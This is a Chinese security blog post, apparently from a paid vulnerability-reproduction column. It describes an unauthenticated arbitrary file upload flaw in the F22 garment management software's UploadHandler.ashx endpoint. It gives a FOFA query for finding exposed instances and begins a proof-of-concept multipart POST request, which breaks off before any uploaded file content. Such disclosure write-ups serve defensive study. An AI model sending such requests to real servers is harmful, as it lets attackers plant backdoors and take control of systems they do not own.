F22服装管理软件系统前台任意文件上传漏洞复现

0xSecl

于 2023-11-29 18:26:22 发布

阅读量1k

点赞数 7

分类专栏：漏洞复现文章标签： web安全安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/134691183

版权

漏洞复现专栏收录该内容

671 篇文章 1029 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

0x01 产品简介

F22服装管理软件系统是广州锦铭泰软件科技有限公司一款专为服装行业开发的综合性管理软件。该产品旨在帮助服装企业实现全面、高效的管理，提升生产效率和经营效益。

0x02 漏洞概述

F22服装管理软件系统UploadHandler.ashx接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过此漏洞上传恶意后门文件控制服务器。

0x03 复现环境

FOFA：body="F22WEB登陆"

0x04 漏洞复现

PoC

POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: your-ip
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------ae0KM7Ef1KM7cH2ae0GI3ae0gL6Ef1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate

------------ae0KM7Ef1KM7cH2ae0GI3ae0gL6Ef1
Content-Disposition: form-data; name="folder"

/upload/udplog
------------ae0KM7Ef1KM7cH2ae0GI3ae0gL6Ef1